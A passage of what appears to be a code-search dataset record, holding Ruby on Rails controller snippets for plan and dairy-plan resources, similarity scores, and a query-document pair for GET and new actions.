= Panel::Billing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @panel_billing }\n end\n end", "def index\n @goals = @todo.goals.all\n render json: @goals\n end", "def show\n @project_procurement_management_plan = ProjectProcurementManagementPlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project_procurement_management_plan }\n end\n end", "def index\n if user_signed_in?\n @plans = Plan.where(user_id: current_user.id)\n else\n @plans = []\n end\n end", "def index\n @meeting_plans = MeetingPlan.all\n end", "def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end", "def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end", "def plans=(value)\n @plans = value\n end", "def show\n @plannegocio = Plannegocio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plannegocio }\n end\n end", "def index\n @plan_milestones = PlanMilestone.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plan_milestones }\n end\n end", "def index\n @callplans = Callplan.all\n end", "def index\n @inventory_plans = InventoryPlan.all\n end", "def plan_questions(plan_id, opts)\n HTTParty.get('https://www.lift.do/api/v3/plans/%d/questions' % plan_id, @options.merge(query: opts))\n end", "def show\n @lesson_plan = current_user.lesson_plans.detect{params[:id]}\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lesson_plan }\n end\n end", "def show\n @planning_time = PlanningTime.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @planning_time }\n end\n end", "def index\n @credit_lines = CreditLine.find_all_by_admin_id(current_admin.id)\n @payment_plans= PaymentPlan.order('created_at DESC').find_all_by_admin_id(current_admin.id)\n @payment_plans = @payment_plans.paginate(:page => 1, :per_page => 50)\n @payment_plans.sort_by { ||}\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @credit_lines }\n end\n end", "def show\n @backend_planet = Backend::Planet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @backend_planet }\n end\n end", "def get_test_plan\n @takt = Taktinfo.find(params[:id])\n @testplans = @takt.testplans.where(:format =>params[:testp])\n\n respond_to do |format|\n format.json{render json:@testplans.as_json(root:false),:callback =>params[:callback]}\n end\n end", "def show\n @plan_setting = PlanSetting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plan_setting }\n end\n end", "def index\n @goals = @user.goals.non_project\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @goals }\n end\n end", "def index\n @operative_plans = OperativePlan.all\n end", "def show\n @id = params[:id]\n if @id\n @plans = Plan.where(:servicio_id => @id)\n else\n @plans = Plan.all\n end\n\n end", "def show\n @socialize_plan = SocializePlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @socialize_plan }\n format.json { render :json => @socialize_plan }\n end\n end" ]
[ "0.75700945", "0.7391554", "0.7041859", "0.7036185", "0.7015556", "0.6997302", "0.6970295", "0.6969083", "0.68498033", "0.6761254", "0.67324084", "0.67324084", "0.66956884", "0.668163", "0.6630735", "0.6614019", "0.65910304", "0.65895116", "0.6586368", "0.6580148", "0.6560861", "0.6537004", "0.6447084", "0.64441746", "0.6424202", "0.6420396", "0.6402386", "0.6399754", "0.63836676", "0.6382285", "0.6349487", "0.63431007", "0.63305825", "0.6324411", "0.63214135", "0.6321342", "0.6312525", "0.6299578", "0.6285468", "0.6267005", "0.6247197", "0.6244788", "0.624387", "0.6242498", "0.62416804", "0.6219733", "0.6219577", "0.6218116", "0.619867", "0.6197966", "0.6196861", "0.61908644", "0.61643493", "0.6162649", "0.6157749", "0.6155202", "0.6147475", "0.61266685", "0.6120733", "0.61112833", "0.61011654", "0.60986894", "0.60961187", "0.6085551", "0.6081088", "0.6080418", "0.60755485", "0.6065757", "0.6058246", "0.60509694", "0.6050387", "0.6045907", "0.6045907", "0.6035933", "0.60270506", "0.6026463", "0.6012004", "0.6009265", "0.5991498", "0.59736556", "0.5962795", "0.59577584", "0.595747", "0.595747", "0.5954168", "0.594928", "0.59412235", "0.59321934", "0.5922864", "0.59181", "0.59173065", "0.59110004", "0.5909134", "0.59090745", "0.59078884", "0.59036845", "0.5900056", "0.5894677", "0.58941424", "0.58928335" ]
0.7008957
5
GET /dairy_plans/1 GET /dairy_plans/1.json
def show @dairy_plan = DairyPlan.find(params[:id]) @simple_view = params[:cal] ? false : true # 查询所有的课程内容安排 一天五节课 @course_content_1 = CourseContent.where(:dairy_plan_id => @dairy_plan.id, :course_num => 1).first @course_content_2 = CourseContent.where(:dairy_plan_id => @dairy_plan.id, :course_num => 2).first @course_content_3 = CourseContent.where(:dairy_plan_id => @dairy_plan.id, :course_num => 3).first @course_content_4 = CourseContent.where(:dairy_plan_id => @dairy_plan.id, :course_num => 4).first @course_content_5 = CourseContent.where(:dairy_plan_id => @dairy_plan.id, :course_num => 5).first respond_to do |format| format.html # show.html.erb format.json { render json: @dairy_plan } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @plans = Plan.all\n\n render json: @plans\n end", "def show\n @plan = Plan.find(params[:id])\n\n render json: @plan\n end", "def plans(params = {})\n scope 'default'\n get('plans/', params)\n end", "def show\n render json: @plan\n end", "def index\n @plans = Plan.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plans }\n end\n end", "def index\n @dairy_plans = DairyPlan.where(:student_id => @student.id)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @dairy_plans }\n end\n end", "def show\n @plans = @event.plans\n \n respond_to do |format|\n format.html {}\n format.json { render json: @event.to_json}\n end\n end", "def index\n respond_with(@plans = Plan.all)\n end", "def show\n @lunchplan = Lunchplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @lunchplan }\n end\n end", "def show\n @plans = Stripe::Plan.all\n end", "def show\n @test_plan = TestPlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_plan }\n end\n end", "def show\n @plan = Plan.find(params[:id])\n @plan_days = @plan.plan_days\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plan }\n end\n end", "def fetch_plans (id = nil)\n @plans = []\n parameters = {}\n @networks_by_plan = {}\n parameters[:_profile] = 'http://hl7.org/fhir/us/davinci-pdex-plan-net/StructureDefinition/plannet-InsurancePlan' \n if(id)\n parameters[:_id] = id\n end\n\n @client.search(\n FHIR::InsurancePlan,\n search: { parameters: parameters }\n )&.resource&.entry&.map do |entry|\n @plans << {\n value: entry&.resource&.id,\n name: entry&.resource&.name\n }\n @networks_by_plan [ entry&.resource&.id] = entry&.resource&.network\n end\n @plans.sort_by! { |hsh| hsh[:name] }\n rescue => exception\n redirect_to root_path, flash: { error: 'Please specify a plan network server' }\n\n end", "def index\n @care_plans = CarePlan.all\n render json: @care_plans\n end", "def new\n @dairy_plan = DairyPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dairy_plan }\n end\n end", "def show\n @planitem = Planitem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @planitem }\n end\n end", "def index\n\n @goals = Goal.by_person_as_student(current_user.person)\n @goals = @goals.by_plan(params[:plan_id]) if params[:plan_id].present?\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @goals }\n end\n end", "def show\n @work_plan = WorkPlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work_plan }\n end\n end", "def index\n plan = Plan.find_by(url:params[:plan_id])\n stories = plan.stories\n render json: stories\n end", "def index\n @plans = Plan.all\n end", "def index\n @plans = Plan.all\n end", "def show\n @planner = Planner.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @planner }\n end\n end", "def show\n @sslplan = Sslplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @sslplan }\n end\n end", "def show\n @panel_plan = Panel::Plan.find(params[:id])\n @features = Panel::Planfeature.where(:panel_plan_id => params[:id]).all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @panel_plan }\n end\n end", "def index\n @floor_plans = @product.floor_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @floor_plans }\n end\n end", "def show\r\n @work_plan = WorkPlan.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @work_plan }\r\n end\r\n end", "def show\n @exercise_plan = ExercisePlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise_plan }\n end\n end", "def show\n @plantype_strategy = PlantypeStrategy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plantype_strategy }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site_plan }\n end\n end", "def show\n @klassplan = Klassplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @klassplan }\n end\n end", "def index\n @site_plans = @product.site_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @site_plans }\n end\n end", "def show\n render json: @care_plan\n end", "def show\n @plantype = Plantype.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plantype }\n end\n end", "def show\n @plan = Plan.find(params[:id])\n end", "def all_plans\n file = File.read('./data/bundle.json')\n plan_hash = JSON.parse(file)\n plans = plan_hash['plans']\n end", "def show(project_token = @project_token, id = @id, user = @@default_user)\n @attributes = send_request(\"test_plans/#{id}\", :get) do |req|\n req.params = {\n token: project_token,\n auth_token: user.auth_token\n }\n end\n end", "def show\n @plannegocio = Plannegocio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plannegocio }\n end\n end", "def show\n @goal = Goal.find(params[:id])\n render json: @goal\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @floor_plan }\n end\n end", "def new\n @panel_plan = Panel::Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @panel_plan }\n end\n end", "def show\n @ecommerceplan = Ecommerceplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @ecommerceplan }\n end\n end", "def show\n @project_procurement_management_plan = ProjectProcurementManagementPlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project_procurement_management_plan }\n end\n end", "def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end", "def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end", "def show\n @planned_time = PlannedTime.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @planned_time }\n end\n end", "def show\n @plans = Plan.find(params[:id])\n @foods = Food.all\n end", "def index\n @test_plans = @project.test_plans\n end", "def plan\n data['plans'][me]\n end", "def show\n set_client_profile(@plan)\n @goals = @plan.goals\n @tasks = @plan.tasks\n end", "def index\n @page_plans = PagePlan.all\n end", "def show\n @plan_setting = PlanSetting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plan_setting }\n end\n end", "def show\n @planning_time = PlanningTime.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @planning_time }\n end\n end", "def show\n @socialize_plan = SocializePlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @socialize_plan }\n format.json { render :json => @socialize_plan }\n end\n end", "def show\n @panel_billing = Panel::Billing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @panel_billing }\n end\n end", "def index\n @lesson_plans = current_user.lesson_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lesson_plans }\n end\n end", "def show\n @backend_planet = Backend::Planet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @backend_planet }\n end\n end", "def url\n resource.url + '/application_plans'\n end", "def index\n @meal_plans = MealPlan.all\n end", "def index\n @billing_plans = BillingPlan.all\n end", "def show\n goal = Goal.find(params[:id])\n render json: goal,status: :ok\n end", "def index\n @plan = Plan.new\n @incident = Incident.find(params[:incident_id])\n @plans = Plan.where(incident_id: @incident.id).order(date: :desc)\n end", "def InfoPlanPaciente\n \tid = params[:id]\n @plan_paciente = TipoPlan.find_by_sql(\"select descripcion FROM tipo_plans where plan_paciente_id = #{id} and tipo = 'Paciente'\")\n render json: @plan_paciente\n end", "def pharmacy_plans(params = {})\n response = default_scope.get('pharmacy/plans') do |request|\n request.params = params\n end\n JSON.parse(response.body)\n end", "def show\n @id = params[:id]\n if @id\n @plans = Plan.where(:servicio_id => @id)\n else\n @plans = Plan.all\n end\n\n end", "def show\n @plan_milestone = PlanMilestone.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plan_milestone }\n end\n end", "def show\n @lesson_plan = current_user.lesson_plans.detect{params[:id]}\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lesson_plan }\n end\n end", "def show\n @goal = Goal.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @goal }\n end\n end", "def show\n @workout_plan = @single_plan.workout_plans.first\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @single_plan }\n end\n end", "def show\n @goal = Goal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @goal }\n end\n end", "def show\n @goal = Goal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @goal }\n end\n end", "def show\n @goal = Goal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @goal }\n end\n end", "def show\n @goal = Goal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @goal }\n end\n end", "def show\n #@detail = Detail.find(params[:id])\n @plan = Plan.find(params[:plan_id])\n @detail = @plan.details.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @detail }\n end\n end", "def show\n set_client_profile(@goal)\n @plans = @goal.plans\n @tasks = @plans.map(&:tasks).flatten.uniq\n\n\n @needs = @goal.needs\n end", "def index\n @work_plans = WorkPlan.includes(:clinic_doctor).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @work_plans }\n end\n end", "def index\n @mealplans = Mealplan.all\n end", "def show\n set_client_profile(@need)\n @goals = @need.goals\n @plans = @goals.map(&:plans).flatten.uniq\n @tasks = @plans.map(&:tasks).flatten.uniq\n respond_to do |format|\n format.html{}\n format.pdf{}\n format.js{\n\n }\n end\n end", "def index\n @flightplans = Flightplan.all\n end", "def new\n @lunchplan = Lunchplan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @lunchplan }\n end\n end", "def show\n @plan_de_ventum = PlanDeVentum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plan_de_ventum }\n end\n end", "def show\n @stage_drymass = StageDrymass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stage_drymass }\n end\n end", "def index\n @plans = Plan.order('created_at desc')\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @plans }\n end\n end", "def show\n @new_plan = Plan.new\n @incident = Incident.find(params[:incident_id])\n @resources = @incident.resources.order(:category, :order_number)\n @resource = Resource.new\n @plan = Plan.find(params[:id])\n @plans = Plan.all.order(date: :desc)\n @objectives = @plan.objectives.order(order: :asc)\n @objective = Objective.new\n @activity = Activity.new\n end", "def read_service_plans()\n @client.service_plans\n end", "def index\n @panel_billings = Panel::Billing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @panel_billings }\n end\n end", "def index\n @payment_plans = PaymentPlan.all\n end", "def show\n @workout_plan = @cardio_plan.workout_plans.first\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cardio_plan }\n end\n end", "def get_test_plan\n @takt = Taktinfo.find(params[:id])\n @testplans = @takt.testplans.where(:format =>params[:testp])\n\n respond_to do |format|\n format.json{render json:@testplans.as_json(root:false),:callback =>params[:callback]}\n end\n end", "def show\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @plan }\n end\n end", "def show\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @plan }\n end\n end", "def show\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @plan }\n end\n end", "def show\n @v_goal = VGoal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @v_goal }\n end\n end", "def status\n @plan = Plan.find(params[:id])\n authorize @plan\n respond_to do |format|\n format.json { render json: @plan.status }\n end\n end", "def index\n @plan_milestones = PlanMilestone.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plan_milestones }\n end\n end", "def index\n @doctor_work_plans = WorkPlan.joins(:clinic_doctor).where('doctor_id = ?', current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @doctor_work_plans }\n end\n end", "def show\n @planned_order = PlannedOrder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @planned_order }\n end\n end", "def Plan_Paciente\n id = params[:id]\n plan_paciente = PlanPaciente.find_by_sql(\"SELECT nombre FROM plan_pacientes where laboratorio_id= #{id}\")\n render json: plan_paciente\n end", "def index\n @plans = Plan.where(user_id: current_user.id)\n end", "def show\n @trial = Trial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trial }\n end\n end", "def index\n @ad_plans = AdPlan.all\n \n end", "def show\n\n # Get base API Connection\n @graph = Koala::Facebook::API.new(session[:access_token])\n\n # Get public details of current application\n #@app = @graph.get_object(ENV[\"FACEBOOK_APP_ID\"])\n\n\n @user = User.find(params[:id])\n @plans = @user.plans.all\n\n @upcoming_plans = @user.plans.find(:all, :conditions => [\"plandate >= ?\", Date.today]).sort_by { |obj| obj.plandate }\n #@past_plans = @user.plans.find(:all, :conditions => [\"plandate < ?\", Date.today]).sort_by { |obj| obj.plandate }\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end" ]
[ "0.7467771", "0.73599935", "0.7338609", "0.72477686", "0.7201629", "0.70725435", "0.70584136", "0.696558", "0.69240564", "0.6923742", "0.6899089", "0.68976045", "0.68830913", "0.68632334", "0.6847939", "0.6836914", "0.68143326", "0.6783236", "0.6772346", "0.676304", "0.676304", "0.6760968", "0.6744033", "0.67406565", "0.6731689", "0.67097896", "0.668454", "0.66843337", "0.66715497", "0.666276", "0.6660695", "0.66258407", "0.66163445", "0.6531401", "0.650511", "0.6476814", "0.647029", "0.64311385", "0.6427971", "0.64262456", "0.6405401", "0.64035714", "0.64002126", "0.64002126", "0.63873327", "0.63710356", "0.63642925", "0.6347243", "0.63425285", "0.6341201", "0.6330157", "0.6312711", "0.62956727", "0.62899196", "0.62864065", "0.62752086", "0.626678", "0.62633497", "0.62616634", "0.6257511", "0.6255992", "0.6250135", "0.62477493", "0.6245629", "0.6240579", "0.6227867", "0.6221399", "0.621975", "0.6217905", "0.6217905", "0.6217905", "0.6217905", "0.6214718", "0.62131286", "0.6198541", "0.61788434", "0.61782444", "0.6175572", "0.6173493", "0.61703926", "0.6165219", "0.6164149", "0.61581457", "0.61555", "0.6154173", "0.6154028", "0.61529064", "0.61494786", "0.6148885", "0.6148885", "0.6148885", "0.614848", "0.614298", "0.61381805", "0.6137716", "0.6136771", "0.6135856", "0.6127218", "0.6123468", "0.6112387", "0.6106664" ]
0.0
-1
GET /dairy_plans/new GET /dairy_plans/new.json
def new @dairy_plan = DairyPlan.new respond_to do |format| format.html # new.html.erb format.json { render json: @dairy_plan } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end", "def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end", "def new\n @panel_plan = Panel::Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @panel_plan }\n end\n end", "def new\n @test_plan = TestPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @test_plan }\n end\n end", "def new\n @plantype = Plantype.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plantype }\n end\n end", "def new\n @lunchplan = Lunchplan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @lunchplan }\n end\n end", "def new\n @planner = Planner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @planner }\n end\n end", "def new\n @klassplan = Klassplan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @klassplan }\n end\n end", "def new\n @work_plan = WorkPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work_plan }\n end\n end", "def new\r\n @general_plan = GeneralPlan.new\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @general_plan }\r\n end\r\n end", "def new\n @sslplan = Sslplan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @sslplan }\n end\n end", "def new\r\n @work_plan = WorkPlan.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @work_plan }\r\n end\r\n end", "def new\n @plantype_strategy = PlantypeStrategy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plantype_strategy }\n end\n end", "def new\n @planned_time = PlannedTime.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @planned_time }\n end\n end", "def new\n @exercise_plan = ExercisePlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise_plan }\n end\n end", "def create\n @plan = Plan.new(params[:plan])\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render json: @plan, status: :created, location: @plan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @plannegocio = Plannegocio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plannegocio }\n end\n end", "def create\n @plan = Plan.new(params[:plan])\n\n if @plan.save\n render json: @plan, status: :created, location: @plan\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end", "def create\n @panel_plan = Panel::Plan.new(params[:panel_plan])\n\n respond_to do |format|\n if @panel_plan.save\n format.html { redirect_to(@panel_plan, :notice => 'Plan was successfully created.') }\n format.json { render :json => @panel_plan, :status => :created, :location => @panel_plan }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @panel_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(plan_params)\n\n if @plan.save\n render json: @plan, status: :created, location: @plan\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end", "def new\n @plan = Plan.new\nend", "def new\n @plan_milestone = PlanMilestone.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan_milestone }\n end\n end", "def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @plan }\n end\n end", "def new\n @trial = Trial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trial }\n end\n end", "def new\n @plan_setting = PlanSetting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan_setting }\n end\n end", "def create\n @plan = Plan.new(plan_params)\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(plan_params)\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @goal = Goal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @goal }\n end\n end", "def new\n @goal = Goal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @goal }\n end\n end", "def new\n @goal = Goal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @goal }\n end\n end", "def new\n @planned_order = PlannedOrder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @planned_order }\n end\n end", "def new\n @planning_time = PlanningTime.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @planning_time }\n end\n end", "def new\n @new_policy = NewPolicy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_policy }\n end\n end", "def new\n fetch_data\n @payment = Payment.new(:payment_date => Date.today)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @payment }\n end\n end", "def create\n @plan = Plan.new(plan_params)\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan creado exitosamente.' }\n format.json { render action: 'show', status: :created, location: @plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @single_plan = SinglePlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @single_plan }\n end\n end", "def new\n @ecommerceplan = Ecommerceplan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @ecommerceplan }\n end\n end", "def new\n @lease = Lease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @lease }\n end\n end", "def new\n @backend_planet = Backend::Planet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @backend_planet }\n end\n end", "def new\n @v_goal = VGoal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @v_goal }\n end\n end", "def create\r\n @general_plan = GeneralPlan.new(params[:general_plan])\r\n\r\n respond_to do |format|\r\n if @general_plan.save\r\n format.html { redirect_to @general_plan, notice: 'General plan was successfully created.' }\r\n format.json { render json: @general_plan, status: :created, location: @general_plan }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @general_plan.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def new\n @project_procurement_management_plan = current_user.project_procurement_management_plans.build\n 1.times { @project_procurement_management_plan.projects.build }\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project_procurement_management_plan }\n end\n end", "def new\n get_projects\n\n\n @breadcrumb = 'create'\n @billable_item = BillableItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @billable_item }\n end\n end", "def new\n @stage_drymass = StageDrymass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stage_drymass }\n end\n end", "def new\n if not check_logged_in then\n return\n end\n \n ###NEED TO SEE WHAT THIS IS FOR\n if params[:plants] then\n @plant = Plant.find(JSON.parse(params[:plants])[0])\n else\n @plant = Plant.new\n end\n \n @garden_id = params[:garden_id]\n @plant_id = params[:plant_id]\n \n #@plant.personal_plants.build\n #@plant.personal_plants[0].personal_plant_waterings.build\n \n @plants = Plant.all\n @personal_plant = PersonalPlant.new\n @personal_plant[:garden_id] = @garden_id\n @personal_plant[:plant_id] = @plant_id\n #@a = render_to_string action: \"options\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @personal_plant }\n end\n end", "def new\n @goal = @user.goals.new\n\n if params[:project_id]\n @goal.project_id = params[:project_id]\n @goal.goal_type = \"project-based\"\n end\n \n @goal.started_on = Date.today\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @goal }\n end\n end", "def new\n @local_plan = LocalPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @local_plan }\n end\n end", "def new\n @traffic = Traffic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @traffic }\n end\n end", "def new\n @payable = Payable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @payable }\n end\n end", "def create\n @lunchplan = Lunchplan.new(params[:lunchplan])\n\n respond_to do |format|\n if @lunchplan.save\n format.html { redirect_to @lunchplan, :notice => 'Lunchplan was successfully created.' }\n format.json { render :json => @lunchplan, :status => :created, :location => @lunchplan }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @lunchplan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n plan = Plan.new\n authorize plan\n\n # If the template_id is blank then we need to look up the available templates and\n # return JSON\n if plan_params[:template_id].blank?\n # Something went wrong there should always be a template id\n respond_to do |format|\n flash[:alert] = _('Unable to identify a suitable template for your plan.')\n format.html { redirect_to new_plan_path }\n end\n else\n\n puts plan_params.inspect\n\n @plan = create_plan(plan: plan, params: plan_params)\n\n if @plan.is_a?(Plan)\n default = Template.default\n\n msg = \"#{success_message(@plan, _('created'))}<br />\"\n\n if !default.nil? && default == @plan.template\n # We used the generic/default template\n msg += \" #{_('This plan is based on the default template.')}\"\n\n elsif [email protected]_of.nil?\n # We used a customized version of the the funder template\n # rubocop:disable Layout/LineLength\n msg += \" #{_('This plan is based on the')} #{@plan.funder&.name}: '#{@plan.template.title}' #{_('template with customisations by the')} #{@plan.template.org.name}\"\n # rubocop:enable Layout/LineLength\n else\n # We used the specified org's or funder's template\n msg += \" #{_('This plan is based on the')} #{@plan.template.org.name}: '#{@plan.template.title}' template.\"\n end\n\n respond_to do |format|\n flash[:notice] = msg\n format.html { redirect_to plan_path(@plan) }\n end\n else\n # Something went 